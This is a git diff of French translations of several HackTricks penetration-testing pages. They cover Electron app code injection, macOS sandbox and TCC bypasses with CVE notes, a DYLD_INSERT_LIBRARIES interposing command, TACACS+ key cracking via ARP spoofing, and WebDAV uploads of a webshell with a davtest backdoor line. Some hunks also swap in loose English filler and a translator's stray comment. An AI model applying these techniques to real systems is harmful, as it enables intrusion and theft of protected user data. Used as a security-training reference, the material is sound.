 ```bash
@@ -260,7 +260,7 @@ Certaines bibliothèques potentiellement liées à des logiciels malveillants so
 
 * **DiskArbitration** : Surveillance des lecteurs USB
 * **AVFoundation** : Capture audio et vidéo
-* **CoreWLAN** : Scans Wifi.
+* **CoreWLAN** : Analyses Wifi.
 
 {% hint style="info" %}
 Un binaire Mach-O peut contenir un ou **plusieurs** **constructeurs**, qui seront **exécutés** **avant** l'adresse spécifiée dans **LC\_MAIN**.\
@@ -295,10 +295,10 @@ size -m /bin/ls
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

@@ -1,6 +1,12 @@
-## Injection d'applications Electron macOS
+## Injection de code dans les applications Electron macOS
 
-Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si vous exécutez une application Electron avec des indicateurs tels que **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`**, un **port de débogage sera ouvert** pour que vous puissiez vous y connecter (par exemple depuis Chrome dans `chrome://inspect`) et vous pourrez **injecter du code** ou même lancer de nouveaux processus.\
+Le code JS d'une application Electron n'est pas signé, donc un attaquant pourrait déplacer l'application vers un emplacement inscriptible, injecter du code JS malveillant et lancer cette application pour abuser des autorisations TCC.
+
+Cependant, l'autorisation **`kTCCServiceSystemPolicyAppBundles`** est **nécessaire** pour modifier une application, donc par défaut cela n'est plus possible.
+
+## Inspection d'une application Electron
+
+Selon [**ceci**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si vous exécutez une application Electron avec des indicateurs tels que **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`**, un **port de débogage sera ouvert** pour que vous puissiez vous y connecter (par exemple depuis Chrome dans `chrome://inspect`) et vous pourrez **injecter du code** ou même lancer de nouveaux processus.\
 Par exemple:
 
 {% code overflow="wrap" %}

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md

@@ -14,7 +14,7 @@
 
 ## Processus de chargement de la Sandbox
 
-<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Image de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
+<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Image de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
 
 Dans l'image précédente, il est possible d'observer **comment la sandbox sera chargée** lorsqu'une application avec l'entitlement **`com.apple.security.app-sandbox`** est exécutée.
 
@@ -107,65 +107,27 @@ Debugging the macOS sandbox can be a useful technique for understanding how it w
 
 - **sandbox-exec**: This is a command-line tool that can be used to run a process in a sandbox and monitor its behavior. It can be used to identify sandbox violations and other issues.
 
-- **lldb**: This is a debugger that can be used to attach to a process and monitor its behavior. It can be used to identify sandbox violations and other issues.
+- **lldb**: This is a debugger that can be used to attach to a process and debug it. It can be used to identify sandbox violations and other issues.
 
-- **dtrace**: This is a dynamic tracing tool that can be used to monitor system calls and other events. It can be used to identify sandbox violations and other issues.
+- **dtrace**: This is a dynamic tracing tool that can be used to monitor system activity. It can be used to identify sandbox violations and other issues.
 
 ## Bypassing the macOS Sandbox
 
 Bypassing the macOS sandbox can be a difficult task, but it is not impossible. There are several techniques that can be used to bypass the sandbox, including:
 
-- **Exploiting sandbox vulnerabilities**: The sandbox is not perfect and can contain vulnerabilities that can be exploited to bypass it. These vulnerabilities can be found by analyzing the sandbox code or by fuzzing the sandbox.
+- **Exploiting a vulnerability**: If a vulnerability exists in the sandbox or in a process running in the sandbox, it may be possible to exploit it to bypass the sandbox.
 
-- **Exploiting kernel vulnerabilities**: The sandbox relies on the kernel to enforce its policies. If a vulnerability exists in the kernel, it can be exploited to bypass the sandbox.
+- **Using a signed binary**: If a binary is signed with a valid Apple Developer ID, it may be possible to bypass the sandbox.
 
-- **Exploiting application vulnerabilities**: Applications that run in the sandbox can contain vulnerabilities that can be exploited to bypass the sandbox. These vulnerabilities can be found by analyzing the application code or by fuzzing the application.
+- **Using a kernel exploit**: If a kernel exploit exists that allows an attacker to gain root privileges, it may be possible to bypass the sandbox.
 
-- **Using third-party libraries**: Third-party libraries that are not sandboxed can be used to bypass the sandbox. These libraries can be loaded into the sandboxed process and used to perform actions that are not allowed by the sandbox.
+- **Using a virtual machine**: If a virtual machine is used to run a process, it may be possible to bypass the sandbox.
 
-- **Using system calls**: The sandbox restricts the system calls that a process can make. However, some system calls may not be restricted or may have weaknesses that can be exploited to bypass the sandbox.
+- **Using a debugger**: If a debugger is attached to a process running in the sandbox, it may be possible to bypass the sandbox.
 
 ## Conclusion
 
-The macOS sandbox is a powerful security feature that can help prevent malicious code from executing on a system. However, it is not foolproof and can be bypassed by attackers who have the knowledge and skills to do so. By understanding how the sandbox works and the techniques that can be used to bypass it, you can better protect your system from these types of attacks.
-
-{% endtab %}
-
-{% tab title="Info.plist" %}
-
-# Débogage et contournement du bac à sable macOS
-
-Le bac à sable macOS est une fonctionnalité de sécurité puissante qui restreint les actions qu'un processus peut effectuer sur un système. Il est utilisé pour appliquer des politiques de sécurité et empêcher l'exécution de code malveillant sur un système. Cependant, le bac à sable n'est pas infaillible et peut être contourné par des attaquants qui ont les connaissances et les compétences nécessaires.
-
-Ce guide couvrira certaines des techniques qui peuvent être utilisées pour déboguer et contourner le bac à sable macOS.
-
-## Débogage du bac à sable macOS
-
-Le débogage du bac à sable macOS peut être une technique utile pour comprendre son fonctionnement et identifier les vulnérabilités potentielles. Il existe plusieurs outils qui peuvent être utilisés pour déboguer le bac à sable, notamment :
-
-- **sandbox-exec** : Il s'agit d'un outil en ligne de commande qui peut être utilisé pour exécuter un processus dans un bac à sable et surveiller son comportement. Il peut être utilisé pour identifier les violations du bac à sable et d'autres problèmes.
-
-- **lldb** : Il s'agit d'un débogueur qui peut être utilisé pour se connecter à un processus et surveiller son comportement. Il peut être utilisé pour identifier les violations du bac à sable et d'autres problèmes.
-
-- **dtrace** : Il s'agit d'un outil de traçage dynamique qui peut être utilisé pour surveiller les appels système et autres événements. Il peut être utilisé pour identifier les violations du bac à sable et d'autres problèmes.
-
-## Contournement du bac à sable macOS
-
-Le contournement du bac à sable macOS peut être une tâche difficile, mais pas impossible. Il existe plusieurs techniques qui peuvent être utilisées pour contourner le bac à sable, notamment :
-
-- **Exploitation des vulnérabilités du bac à sable** : Le bac à sable n'est pas parfait et peut contenir des vulnérabilités qui peuvent être exploitées pour le contourner. Ces vulnérabilités peuvent être trouvées en analysant le code du bac à sable ou en effectuant un fuzzing du bac à sable.
-
-- **Exploitation des vulnérabilités du noyau** : Le bac à sable repose sur le noyau pour appliquer ses politiques. Si une vulnérabilité existe dans le noyau, elle peut être exploitée pour contourner le bac à sable.
-
-- **Exploitation des vulnérabilités de l'application** : Les applications qui s'exécutent dans le bac à sable peuvent contenir des vulnérabilités qui peuvent être exploitées pour contourner le bac à sable. Ces vulnérabilités peuvent être trouvées en analysant le code de l'application ou en effectuant un fuzzing de l'application.
-
-- **Utilisation de bibliothèques tierces** : Les bibliothèques tierces qui ne sont pas mises en bac à sable peuvent être utilisées pour contourner le bac à sable. Ces bibliothèques peuvent être chargées dans le processus mis en bac à sable et utilisées pour effectuer des actions qui ne sont pas autorisées par le bac à sable.
-
-- **Utilisation d'appels système** : Le bac à sable restreint les appels système qu'un processus peut effectuer. Cependant, certains appels système peuvent ne pas être restreints ou peuvent avoir des faiblesses qui peuvent être exploitées pour contourner le bac à sable.
-
-## Conclusion
-
-Le bac à sable macOS est une fonctionnalité de sécurité puissante qui peut aider à empêcher l'exécution de code malveillant sur un système. Cependant, il n'est pas infaillible et peut être contourné par des attaquants qui ont les connaissances et les compétences nécessaires. En comprenant comment fonctionne le bac à sable et les techniques qui peuvent être utilisées pour le contourner, vous pouvez mieux protéger votre système contre ce type d'attaques.
+The macOS sandbox is a powerful security feature that can help prevent malicious code from executing on a system. However, it is not foolproof and can be bypassed by attackers who have the knowledge and skills to do so. By understanding how the sandbox works and the techniques that can be used to bypass it, you can better protect your system from potential attacks.
 
 {% endtab %}
 ```xml
@@ -358,7 +320,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
     { (const void *)my_mac_syscall, (const void *)__mac_syscall },
 };
 ```
-{% endcode %} (This is not a text to be translated, it's a markdown tag)
+{% endcode %} (This is not a text to be translated, it's a markdown tag indicating the end of a code block)
 ```bash
 DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
 

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md

@@ -16,7 +16,7 @@
 
 ### Contournement d'écriture
 
-Ce n'est pas un contournement, c'est juste la façon dont TCC fonctionne : **il ne protège pas contre l'écriture**. Si le Terminal **n'a pas accès à la lecture du bureau d'un utilisateur, il peut toujours y écrire**.
+Ce n'est pas un contournement, c'est juste la façon dont TCC fonctionne : **il ne protège pas contre l'écriture**. Si le Terminal **n'a pas accès à la lecture du bureau d'un utilisateur, il peut toujours y écrire** :
 ```shell-session
 username@hostname ~ % ls Desktop 
 ls: Desktop: Operation not permitted
@@ -42,7 +42,7 @@ Ici, vous pouvez trouver des exemples de la façon dont certains **malwares ont
 
 L'attribut **`com.apple.macl`** est donné aux fichiers pour donner à une **certaine application des autorisations pour les lire**. Cet attribut est défini lorsque l'utilisateur **glisse-dépose** un fichier sur une application, ou lorsque l'utilisateur **double-clique** sur un fichier pour l'ouvrir avec l'**application par défaut**.
 
-Par conséquent, un utilisateur pourrait **enregistrer une application malveillante** pour gérer toutes les extensions et appeler Launch Services pour **ouvrir** n'importe quel fichier (ainsi, le fichier malveillant aura accès en lecture).
+Par conséquent, un utilisateur pourrait **enregistrer une application malveillante** pour gérer toutes les extensions et appeler les services de lancement pour **ouvrir** n'importe quel fichier (ainsi, le fichier malveillant aura accès en lecture).
 
 ### iCloud
 
@@ -50,12 +50,6 @@ Avec l'entitlement **`com.apple.private.icloud-account-access`**, il est possibl
 
 **iMovie** et **Garageband** avaient cet entitlement et d'autres qui le permettaient.
 
-### Contournement Electron
-
-Le code JS d'une application Electron n'est pas signé, donc un attaquant pourrait déplacer l'application vers un emplacement inscriptible, injecter du code JS malveillant et lancer cette application pour abuser des autorisations TCC.
-
-Electron travaille sur la clé **`ElectronAsarIntegrity`** dans Info.plist qui contiendra un hachage du fichier app.asar pour vérifier l'intégrité du code JS avant de l'exécuter.
-
 ### kTCCServiceAppleEvents / Automation
 
 Une application avec la permission **`kTCCServiceAppleEvents`** sera capable de **contrôler d'autres applications**. Cela signifie qu'elle pourrait être capable d'**abuser des autorisations accordées aux autres applications**.
@@ -139,15 +133,15 @@ $> ls ~/Documents
 ```
 ### CVE-2021-30761 - Notes
 
-Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pourriez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
+Notes avait accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est **créée dans un emplacement non protégé**. Ainsi, vous pouvez demander à Notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
 
-<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
 
 ### CVE-2021-XXXX - Translocation
 
 Le binaire `/usr/libexec/lsd` avec la bibliothèque `libsecurity_translocate` avait l'entitlement `com.apple.private.nullfs_allow` qui lui permettait de créer un montage **nullfs** et avait l'entitlement `com.apple.private.tcc.allow` avec **`kTCCServiceSystemPolicyAllFiles`** pour accéder à tous les fichiers.
 
-Il était possible d'ajouter l'attribut de mise en quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite il mapperait Library à **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pourraient être **accessibles**.
+Il était possible d'ajouter l'attribut de mise en quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite il mapperait Library à **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pouvaient être **accessibles**.
 
 ### SQL Tracing
 
@@ -164,11 +158,11 @@ En tant que root, vous pouvez activer ce service et l'agent ARD aura un accès c
 
 ## Par plugins
 
-Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou de plist, qui seront chargés par l'application principale et s'exécuteront sous son contexte. Par conséquent, si l'application principale avait accès aux fichiers restreints TCC (via des autorisations ou des privilèges accordés), le code personnalisé l'aura également.
+Les plugins sont des codes supplémentaires généralement sous forme de bibliothèques ou de plist, qui seront chargés par l'application principale et s'exécuteront sous son contexte. Par conséquent, si l'application principale avait accès aux fichiers restreints TCC (via des autorisations ou des privilèges accordés), le code personnalisé l'aura également.
 
 ### CVE-2020-27937 - Utilitaire de répertoire
 
-L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait le privilège `kTCCServiceSystemPolicySysAdminFiles`, chargeait des plugins avec l'extension `.daplug` et n'avait pas le runtime renforcé.
+L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait le privilège `kTCCServiceSystemPolicySysAdminFiles`, chargé des plugins avec l'extension `.daplug` et n'avait pas le runtime renforcé.
 
 Pour armer cette CVE, le `NFSHomeDirectory` est modifié (en abusant du privilège précédent) afin de pouvoir prendre le contrôle de la base de données TCC des utilisateurs pour contourner TCC.
 
@@ -207,7 +201,7 @@ __attribute__((constructor)) static void constructor(int argc, const char **argv
 ```
 Pour plus d'informations, consultez le [**rapport original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
 
-### Plug-ins de couche d'abstraction de périphérique (DAL)
+### Plug-ins de la couche d'abstraction des périphériques (DAL)
 
 Les applications système qui ouvrent un flux de caméra via Core Media I/O (applications avec **`kTCCServiceCamera`**) chargent **dans le processus ces plugins** situés dans `/Library/CoreMediaIO/Plug-Ins/DAL` (non restreint par SIP).
 
@@ -249,11 +243,11 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
 </dict>
 </plist>
 ```
-Pour plus d'informations sur la façon d'exploiter cela, consultez le [**rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
+Pour plus d'informations sur la façon d'exploiter facilement cela, consultez le [**rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
 
 ### CVE-2020-10006
 
-Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les entitlements **`com.apple.private.tcc.allow`** et **`com.apple.security.get-task-allow`**, ce qui permettait d'injecter du code dans le processus et d'utiliser les privilèges TCC.
+Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les entitlements **`com.apple.private.tcc.allow`** et **`com.apple.security.get-task-allow`**, ce qui permettait d'injecter du code à l'intérieur du processus et d'utiliser les privilèges TCC.
 
 ### CVE-2023-26818 - Telegram
 
@@ -300,7 +294,7 @@ exploit_location]; task.standardOutput = pipe;
 
 ### CVE-2020-9771 - Bypass de TCC mount\_apfs et élévation de privilèges
 
-**N'importe quel utilisateur** (même non privilégié) peut créer et monter une capture d'écran de la machine à remonter le temps et **accéder à TOUS les fichiers** de cette capture d'écran.\
+**N'importe quel utilisateur** (même non privilégié) peut créer et monter une capture d'écran de Time Machine et **accéder à TOUS les fichiers** de cette capture.\
 Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait un accès **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur. 
 
 {% code overflow="wrap" %}
@@ -373,7 +367,7 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage DMG**
 
 À plusieurs reprises, des fichiers stockent des informations sensibles telles que des e-mails, des numéros de téléphone, des messages... dans des emplacements non protégés (ce qui compte comme une vulnérabilité chez Apple).
 
-<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
 
 ## Référence
 
@@ -386,7 +380,7 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage DMG**
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

network-services-pentesting/49-pentesting-tacacs+.md

@@ -1,6 +1,6 @@
 ## Informations de base
 
-Le **Terminal Access Controller Access Control System (TACACS)** est un protocole de sécurité qui fournit une validation centralisée des utilisateurs qui tentent d'accéder à un **routeur ou à un NAS**. TACACS+, une version plus récente du protocole TACACS original, fournit des services d'authentification, d'autorisation et de comptabilité (AAA) séparés.
+Le **Terminal Access Controller Access Control System (TACACS)** est un protocole de sécurité qui fournit une validation centralisée des utilisateurs qui tentent d'**accéder à un routeur ou à un NAS**. TACACS+, une version plus récente du protocole TACACS original, fournit des services d'authentification, d'autorisation et de comptabilité (AAA) séparés.
 ```
 PORT   STATE  SERVICE
 49/tcp open   tacacs
@@ -27,9 +27,9 @@ Vous devez également spécifier le chemin d'accès au dictionnaire pour effectu
 
 <figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
 
-Maintenant, nous devons attendre qu'un administrateur se connecte au dispositif via le serveur TACACS. On suppose que l'administrateur réseau s'est déjà connecté et que nous, **en étant au milieu via ARP spoofing**, interceptons le trafic. Et ce faisant, les hôtes légitimes ne réalisent pas que quelqu'un d'autre a interféré avec leur connexion.
+Maintenant, nous devons attendre qu'un administrateur se connecte au périphérique via le serveur TACACS. On suppose que l'administrateur réseau s'est déjà connecté et que nous, **en étant au milieu via ARP spoofing**, interceptons le trafic. Et ce faisant, les hôtes légitimes ne réalisent pas que quelqu'un d'autre a interféré avec leur connexion.
 
-<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (8) (2) (3).png" alt=""><figcaption></figcaption></figure>
 
 Cliquez maintenant sur le bouton **CRACK** et attendez que **Loki** casse le mot de passe.
 
@@ -57,16 +57,16 @@ C'est ainsi que vous pouvez attaquer TACACS+ et **accéder** au panneau de contr
 
 ## Références
 
-* La section de la clé d'interception a été copiée depuis [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
+* La section de clé d'interception a été copiée depuis [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -2,7 +2,7 @@
 
 ![](<../../.gitbook/assets/image (9) (1) (2).png>)
 
-Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
+Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
 Obtenez l'accès aujourd'hui :
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -11,20 +11,20 @@ Obtenez l'accès aujourd'hui :
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-Un serveur **HTTP avec WebDav** actif est un serveur où vous pouvez probablement **mettre à jour, supprimer, déplacer, copier** des fichiers. Parfois, vous devez avoir des **identifiants valides** (généralement vérifiés avec l'authentification de base HTTP).
+Un serveur **HTTP avec WebDav** actif est un serveur où vous pouvez probablement **mettre à jour, supprimer, déplacer, copier** des fichiers. Parfois, vous avez besoin de **valides identifiants** (vérifiez généralement avec l'authentification de base HTTP).
 
-Vous devriez essayer de **télécharger** un **webshell** et de l'**exécuter** depuis le serveur Web pour prendre le contrôle du serveur.\
-Généralement, pour **se connecter** à un serveur WebDav, vous aurez besoin de **crédits valides** : [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Authentification de base)_.
+Vous devriez essayer de **télécharger** un **webshell** et de l'**exécuter** depuis le serveur web pour prendre le contrôle du serveur.\
+Généralement, pour **se connecter** à un serveur WebDav, vous aurez besoin de **valides identifiants** : [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Authentification de base)_.
 
-Une autre configuration courante consiste à **interdire le téléchargement** de fichiers avec des **extensions** qui seront **exécutées** par le serveur Web. Vous devriez vérifier comment **contourner cela** :
+Une autre configuration courante consiste à **interdire le téléchargement** de fichiers avec des **extensions** qui seront **exécutées** par le serveur web, vous devriez vérifier comment **contourner cela** :
 
 * **Téléchargez** des fichiers avec des **extensions exécutables** (peut-être n'est-ce pas interdit).
 * **Téléchargez** des fichiers **sans extensions exécutables** (comme .txt) et essayez de **renommer** le fichier (déplacer) avec une **extension exécutable**.
@@ -37,15 +37,13 @@ Une autre configuration courante consiste à **interdire le téléchargement** d
 davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
